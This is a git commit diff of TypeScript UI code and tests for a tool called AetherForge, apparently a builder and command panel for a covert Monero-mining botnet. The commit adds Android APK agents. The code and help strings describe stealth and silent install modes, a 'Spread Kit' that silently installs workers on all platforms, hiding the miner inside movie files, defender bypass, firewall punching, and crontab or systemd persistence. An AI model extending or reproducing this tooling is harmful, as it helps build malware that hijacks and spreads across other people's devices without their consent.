Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
@@ -46,6 +46,8 @@ test.describe('Crucible remote command', () => {
|
||||
|
||||
const terminal = page.locator('.crucible-terminal');
|
||||
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
|
||||
await expect(terminal.getByText('crucible-e2e-ping', { exact: true })).toBeVisible({
|
||||
timeout: 15_000,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -38,7 +38,7 @@ test.describe('Page smoke', () => {
|
||||
await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible();
|
||||
await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible();
|
||||
await page.getByRole('button', { name: /AI Control/i }).click();
|
||||
await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible();
|
||||
await expect(page.locator('#cal-ai-endpoint')).toBeVisible();
|
||||
await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible();
|
||||
});
|
||||
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
type SubnetLayout,
|
||||
} from '../../help/networkTopology';
|
||||
import { agentAccentColor } from '../../help/fleetHeatMap';
|
||||
import { platformIcon } from '../../help/platform';
|
||||
import './NetworkTopoMap.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -29,14 +30,6 @@ interface Props {
|
||||
|
||||
// ── Platform icon helper ───────────────────────────────────────────────────
|
||||
|
||||
function platformIcon(platform: string): string {
|
||||
const p = platform.toLowerCase();
|
||||
if (p.includes('win')) return '⊞';
|
||||
if (p.includes('linux')) return '🐧';
|
||||
if (p.includes('darwin')) return '';
|
||||
return '⬡';
|
||||
}
|
||||
|
||||
// ── Hashrate spike tracking ────────────────────────────────────────────────
|
||||
|
||||
const SPIKE_RATIO = 1.3;
|
||||
|
||||
@@ -76,3 +76,27 @@ describe('buildAccessDepthModel pending chain', () => {
|
||||
expect(model.failed).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel android', () => {
|
||||
it('uses android platform label and probes', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
agent({ platform: 'android', os_version: '14', arch: 'arm64' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
environment_probes: {
|
||||
wifi: true,
|
||||
battery: true,
|
||||
foreground_service: true,
|
||||
},
|
||||
tier_chain_order: ['foreground_service', 'cpu_inprocess'],
|
||||
}),
|
||||
);
|
||||
expect(model.platformLabel).toBe('Android');
|
||||
expect(model.probes.map((p) => p.label)).toEqual(['Wi-Fi', 'Battery', 'Foreground svc']);
|
||||
expect(model.miningOnion.map((r) => r.tier)).toEqual([
|
||||
'foreground_service',
|
||||
'cpu_inprocess',
|
||||
'desktop_tiers_skipped',
|
||||
]);
|
||||
expect(model.spreadOnion).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
import type { Agent } from '../types';
|
||||
import { isAndroidPlatform, platformLabel } from './platform';
|
||||
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Mirrors agent/miner/environment_probe.go */
|
||||
@@ -11,6 +12,9 @@ export interface EnvironmentProbes {
|
||||
gpu?: boolean;
|
||||
av_blocks_exe?: boolean;
|
||||
webview2?: boolean;
|
||||
wifi?: boolean;
|
||||
battery?: boolean;
|
||||
foreground_service?: boolean;
|
||||
}
|
||||
|
||||
export interface StrategyReason {
|
||||
@@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [
|
||||
'stratum_direct',
|
||||
] as const;
|
||||
|
||||
/** APK fleet-node mining path — foreground service then in-process CPU. */
|
||||
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
|
||||
|
||||
/** Virtual timeline row summarizing skipped desktop tiers on Android. */
|
||||
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
|
||||
|
||||
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
||||
const DEFAULT_TRIPLE_DEPLOY = [
|
||||
'discover_and_join',
|
||||
@@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const probes: EnvironmentProbes = {};
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
|
||||
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
||||
}
|
||||
return Object.keys(probes).length > 0 ? probes : undefined;
|
||||
@@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
||||
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
if (p.includes('linux')) return 'Linux';
|
||||
if (p.includes('win') || p === 'windows') return 'Windows';
|
||||
return platform?.trim() || 'Unknown';
|
||||
function androidDesktopSkipped(): string[] {
|
||||
return DEFAULT_MINING_TIER_ORDER.filter(
|
||||
(t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
|
||||
);
|
||||
}
|
||||
|
||||
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
||||
if (isAndroidPlatform(agent.platform)) {
|
||||
const p = probes ?? {};
|
||||
return [
|
||||
{ key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
|
||||
{ key: 'battery', label: 'Battery', ok: p.battery === true },
|
||||
{ key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
|
||||
].filter((c) => c.ok || probes != null);
|
||||
}
|
||||
const p = probes ?? {};
|
||||
const chips: ProbeChip[] = [
|
||||
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
||||
@@ -309,6 +325,15 @@ function resolveMiningOrder(
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
||||
if (isAndroidPlatform(agent.platform)) {
|
||||
const order = diag?.tier_chain_order?.length
|
||||
? diag.tier_chain_order
|
||||
: [...ANDROID_MINING_TIER_ORDER];
|
||||
const skipped = diag?.tier_chain_skipped?.length
|
||||
? diag.tier_chain_skipped
|
||||
: androidDesktopSkipped();
|
||||
return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
|
||||
}
|
||||
if (diag?.adaptive_strategy?.tier_order?.length) {
|
||||
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
||||
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
|
||||
@@ -431,8 +456,9 @@ export function buildAccessDepthModel(
|
||||
const pending = computePendingTiers(order, skipped, attempts);
|
||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||
|
||||
const spreadOrder =
|
||||
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
const spreadOrder = isAndroidPlatform(agent.platform)
|
||||
? []
|
||||
: policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
? policy.lotl_onion_tiers
|
||||
: [...DEFAULT_LOTL_ONION_TIERS];
|
||||
|
||||
@@ -447,6 +473,18 @@ export function buildAccessDepthModel(
|
||||
if (agent.os_version) osParts.push(agent.os_version);
|
||||
if (agent.arch) osParts.push(agent.arch);
|
||||
|
||||
const miningOnion = isAndroidPlatform(agent.platform)
|
||||
? [
|
||||
...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
|
||||
{
|
||||
index: ANDROID_MINING_TIER_ORDER.length + 1,
|
||||
tier: ANDROID_DESKTOP_SKIPPED_TIER,
|
||||
label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
|
||||
status: 'skipped' as const,
|
||||
},
|
||||
]
|
||||
: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
|
||||
|
||||
return {
|
||||
platformLabel: platformLabel(agent.platform),
|
||||
osLine: osParts.join(' · '),
|
||||
@@ -462,7 +500,7 @@ export function buildAccessDepthModel(
|
||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||
pendingTiers: pending,
|
||||
pendingLabels: pending.map(formatLotlTierLabel),
|
||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
|
||||
miningOnion,
|
||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||
index: i + 1,
|
||||
tier,
|
||||
|
||||
@@ -18,6 +18,8 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
pool_pass: '/docs/#mining',
|
||||
target_os: '/docs/#forge',
|
||||
target_arch: '/docs/#forge',
|
||||
apk_mode: '/docs/#forge',
|
||||
apk_agent_name: '/docs/#forge',
|
||||
output_dir: '/docs/#forge',
|
||||
thread_mode: '/docs/#forge',
|
||||
thread_percent: '/docs/#forge-stealth',
|
||||
|
||||
@@ -29,6 +29,15 @@ describe('forgeFormNormalize', () => {
|
||||
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||
});
|
||||
|
||||
it('apk mode forces android arm64 and clears fusion', () => {
|
||||
const out = normalizeForgeForm(baseForm({ apk_mode: true, fusion_enabled: true, target_os: 'windows' }));
|
||||
expect(out.apk_mode).toBe(true);
|
||||
expect(out.target_os).toBe('android');
|
||||
expect(out.target_arch).toBe('arm64');
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.mining_disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('spread kit forces universal and clears fusion', () => {
|
||||
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||
expect(out.spread_kit).toBe(true);
|
||||
|
||||
@@ -37,6 +37,7 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||
];
|
||||
|
||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||
if (form.apk_mode) return 'single';
|
||||
if (form.spread_kit) return 'spread_kit';
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
return 'single';
|
||||
@@ -87,6 +88,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
|
||||
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||
const t = targetOs || 'windows';
|
||||
if (t === 'android') return UNIX_INSTALL_BASES;
|
||||
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||
return WINDOWS_INSTALL_BASES;
|
||||
@@ -100,10 +102,29 @@ function isSingleUnixTarget(targetOs?: string): boolean {
|
||||
return targetOs === 'linux' || targetOs === 'darwin';
|
||||
}
|
||||
|
||||
function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
|
||||
return !!apkMode || targetOs === 'android';
|
||||
}
|
||||
|
||||
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
const next: BuildRequest = { ...form };
|
||||
|
||||
if (next.apk_mode) {
|
||||
next.fusion_enabled = false;
|
||||
next.spread_kit = false;
|
||||
next.target_os = 'android';
|
||||
next.target_arch = 'arm64';
|
||||
next.mining_disabled = true;
|
||||
next.gpu_enabled = false;
|
||||
next.miner_execution = 'inprocess';
|
||||
next.threads = 1;
|
||||
next.thread_mode = 'fixed';
|
||||
if (!next.apk_agent_name?.trim()) {
|
||||
next.apk_agent_name = next.worker_name;
|
||||
}
|
||||
}
|
||||
|
||||
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||
if (next.spread_kit) {
|
||||
next.fusion_enabled = false;
|
||||
@@ -123,8 +144,17 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
next.spread_kit = false;
|
||||
}
|
||||
|
||||
if (isAndroidTarget(next.target_os, next.apk_mode)) {
|
||||
next.target_os = 'android';
|
||||
next.target_arch = 'arm64';
|
||||
next.fusion_enabled = false;
|
||||
next.spread_kit = false;
|
||||
}
|
||||
|
||||
// Architecture
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (isAndroidTarget(next.target_os, next.apk_mode)) {
|
||||
next.target_arch = 'arm64';
|
||||
} else if (isSingleUnixTarget(next.target_os)) {
|
||||
if (!next.target_arch || next.target_arch === 'all') {
|
||||
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||
}
|
||||
|
||||
@@ -166,6 +166,20 @@ describe('applyForgeFieldUpdate', () => {
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('apk_mode locks android arm64 and disables fusion', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ fusion_enabled: true, target_os: 'windows' }),
|
||||
'apk_mode',
|
||||
true
|
||||
);
|
||||
expect(out.apk_mode).toBe(true);
|
||||
expect(out.target_os).toBe('android');
|
||||
expect(out.target_arch).toBe('arm64');
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.mining_disabled).toBe(true);
|
||||
expect(out.apk_agent_name).toBe('pc-lab-1');
|
||||
});
|
||||
|
||||
it('spread_kit applies full preset and clears fusion', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
|
||||
expect(out.spread_kit).toBe(true);
|
||||
|
||||
@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
|
||||
}
|
||||
break;
|
||||
|
||||
case 'apk_mode':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
apk_mode: true,
|
||||
fusion_enabled: false,
|
||||
spread_kit: false,
|
||||
target_os: 'android',
|
||||
target_arch: 'arm64',
|
||||
mining_disabled: true,
|
||||
gpu_enabled: false,
|
||||
threads: 1,
|
||||
thread_mode: 'fixed',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
stealth_mode: true,
|
||||
file_logging: false,
|
||||
});
|
||||
if (!next.apk_agent_name?.trim()) {
|
||||
next.apk_agent_name = next.worker_name;
|
||||
}
|
||||
} else {
|
||||
next.apk_mode = false;
|
||||
next.mining_disabled = false;
|
||||
if (next.target_os === 'android') {
|
||||
next.target_os = 'windows';
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.apk_mode = false;
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
const isApk = !!form.apk_mode;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
||||
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
wallet: {
|
||||
disabled: isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
|
||||
},
|
||||
apk_mode: { disabled: isSpreadKit, badge: 'baked' },
|
||||
apk_agent_name: {
|
||||
disabled: !isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
|
||||
},
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
badge: 'server-only',
|
||||
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
|
||||
},
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
disabled: isSpreadKit || isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
lockedReason: isApk
|
||||
? 'Fusion is not available for APK fleet nodes.'
|
||||
: isSpreadKit
|
||||
? 'Turn off Spread Kit to use Fusion.'
|
||||
: undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
@@ -468,20 +514,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
|
||||
},
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
disabled: isSpreadKit || isFusion || isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
lockedReason: isApk
|
||||
? 'APK mode locks target to Android arm64.'
|
||||
: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
disabled: !isUnixSingle || isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
lockedReason: isApk
|
||||
? 'APK mode locks architecture to arm64.'
|
||||
: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
|
||||
@@ -62,7 +62,11 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
|
||||
}
|
||||
|
||||
if (!form.wallet.trim()) {
|
||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||
if (form.apk_mode) {
|
||||
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet optional for APK fleet nodes (mining off by default).' });
|
||||
} else {
|
||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||
}
|
||||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
|
||||
} else {
|
||||
|
||||
@@ -43,3 +43,20 @@ describe('buildLotlTimelineModel atlas skips', () => {
|
||||
expect(ps?.state).toBe('skipped_by_atlas');
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildLotlTimelineModel android', () => {
|
||||
it('shows shortened android chain instead of 14 spread tiers', () => {
|
||||
const model = buildLotlTimelineModel(
|
||||
agent({ platform: 'android', status: 'online', lotl_tier: 'foreground_service' }),
|
||||
['docker', 'powershell', 'dotnet'],
|
||||
[{ tier: 'foreground_service', ok: false }],
|
||||
);
|
||||
expect(model.total).toBe(3);
|
||||
expect(model.tiers.map((t) => t.tier)).toEqual([
|
||||
'foreground_service',
|
||||
'cpu_inprocess',
|
||||
'desktop_tiers_skipped',
|
||||
]);
|
||||
expect(model.tiers.find((t) => t.tier === 'desktop_tiers_skipped')?.state).toBe('skipped');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
import type { AtlasSkipView } from './accessDepth';
|
||||
import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth';
|
||||
import type { Agent } from '../types';
|
||||
import { isAndroidPlatform } from './platform';
|
||||
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Per-tier state for the live onion timeline UI. */
|
||||
@@ -59,6 +61,7 @@ function tierDocHint(tier: string): string {
|
||||
}
|
||||
|
||||
function tierLabel(tier: string): string {
|
||||
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped';
|
||||
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
|
||||
}
|
||||
@@ -71,7 +74,10 @@ function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAt
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
|
||||
export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] {
|
||||
if (agent && isAndroidPlatform(agent.platform)) {
|
||||
return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER];
|
||||
}
|
||||
if (policyTiers?.length) return [...policyTiers];
|
||||
return [...DEFAULT_LOTL_ONION_TIERS];
|
||||
}
|
||||
@@ -83,6 +89,9 @@ export function buildLotlTimelineModel(
|
||||
skipped: string[] = [],
|
||||
atlasSkips: AtlasSkipView[] = [],
|
||||
): LotlTimelineModel {
|
||||
const effectiveOrder = isAndroidPlatform(agent.platform)
|
||||
? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]
|
||||
: order;
|
||||
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
||||
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
|
||||
const activeTier = agent.lotl_tier?.trim() || undefined;
|
||||
@@ -95,12 +104,14 @@ export function buildLotlTimelineModel(
|
||||
if (!last?.ok) tryingTier = activeCanon;
|
||||
}
|
||||
|
||||
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
|
||||
const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => {
|
||||
const key = canonicalSpreadTier(tier);
|
||||
const attempt = lastAttemptForTier(attempts, tier);
|
||||
let state: LotlTimelineTierState = 'pending';
|
||||
|
||||
if (atlasSet.has(key)) {
|
||||
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) {
|
||||
state = 'skipped';
|
||||
} else if (atlasSet.has(key)) {
|
||||
state = 'skipped_by_atlas';
|
||||
} else if (skippedSet.has(key)) {
|
||||
state = 'skipped';
|
||||
@@ -126,7 +137,7 @@ export function buildLotlTimelineModel(
|
||||
|
||||
return {
|
||||
tiers,
|
||||
total: order.length,
|
||||
total: effectiveOrder.length,
|
||||
succeeded,
|
||||
activeTier,
|
||||
tryingTier,
|
||||
|
||||
16
server/web/src/help/platform.test.ts
Normal file
16
server/web/src/help/platform.test.ts
Normal file
@@ -0,0 +1,16 @@
|
||||
/** @vitest-environment node */
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { isAndroidPlatform, platformIcon, platformLabel } from './platform';
|
||||
|
||||
describe('platform helpers', () => {
|
||||
it('labels android fleet nodes', () => {
|
||||
expect(platformLabel('android')).toBe('Android');
|
||||
expect(isAndroidPlatform('android')).toBe(true);
|
||||
expect(platformIcon('android')).toBe('🤖');
|
||||
});
|
||||
|
||||
it('labels darwin as macOS with apple icon', () => {
|
||||
expect(platformLabel('darwin')).toBe('macOS');
|
||||
expect(platformIcon('darwin')).toBe('🍎');
|
||||
});
|
||||
});
|
||||
24
server/web/src/help/platform.ts
Normal file
24
server/web/src/help/platform.ts
Normal file
@@ -0,0 +1,24 @@
|
||||
/** Fleet-visible platform label and icon helpers (Crucible, Access Depth, ROI). */
|
||||
|
||||
export function isAndroidPlatform(platform?: string): boolean {
|
||||
return (platform || '').toLowerCase().includes('android');
|
||||
}
|
||||
|
||||
export function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (isAndroidPlatform(p)) return 'Android';
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
if (p.includes('linux')) return 'Linux';
|
||||
if (p.includes('win') || p === 'windows') return 'Windows';
|
||||
return platform?.trim() || 'Unknown';
|
||||
}
|
||||
|
||||
export function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
if (p.includes('android')) return '🤖';
|
||||
if (p.includes('darwin') || p.includes('mac')) return '🍎';
|
||||
if (p === 'windows' || p.includes('windows') || p.includes('win')) return '⊞';
|
||||
if (p.includes('linux')) return '🐧';
|
||||
return '⬡';
|
||||
}
|
||||
@@ -135,6 +135,8 @@ describe('FIELD_HELP', () => {
|
||||
'remote_aggressive',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'apk_mode',
|
||||
'apk_agent_name',
|
||||
'spread_kit',
|
||||
'forge_deliverable',
|
||||
'forge_operation_mode',
|
||||
|
||||
@@ -171,7 +171,11 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
|
||||
apk_mode:
|
||||
'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',
|
||||
apk_agent_name:
|
||||
'Label baked into the APK assets config.json. Defaults to Worker Name. Shows on Command Deck after the phone/tablet connects.',
|
||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||
|
||||
@@ -292,6 +292,20 @@ describe('BuilderPage', () => {
|
||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
const user = userEvent.setup();
|
||||
renderBuilder();
|
||||
await screen.findByText('Worker Name');
|
||||
|
||||
const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
|
||||
await user.click(apkToggle);
|
||||
|
||||
expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
|
||||
expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
|
||||
expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('polls builder progress endpoint while a forge is running', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
let resolveBuild!: (value: BuildResult) => void;
|
||||
|
||||
@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<label className="label">
|
||||
XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
|
||||
{form.apk_mode && <span className="form-hint"> (optional)</span>}
|
||||
{form.apk_mode && <HelpTip field="wallet" />}
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
|
||||
type="text"
|
||||
className="input"
|
||||
disabled
|
||||
value="Universal (all platforms)"
|
||||
value={
|
||||
form.apk_mode
|
||||
? 'Android (arm64)'
|
||||
: 'Universal (all platforms)'
|
||||
}
|
||||
readOnly
|
||||
/>
|
||||
) : (
|
||||
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
|
||||
Upload nothing — forge produces the deploy ZIP.
|
||||
</p>
|
||||
)}
|
||||
<div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={!!form.apk_mode}
|
||||
disabled={fieldMeta.apk_mode?.disabled}
|
||||
onChange={(e) => updateField('apk_mode', e.target.checked)}
|
||||
/>
|
||||
<span>APK mode <HelpTip field="apk_mode" /></span>
|
||||
</label>
|
||||
<FieldHint field="apk_mode" />
|
||||
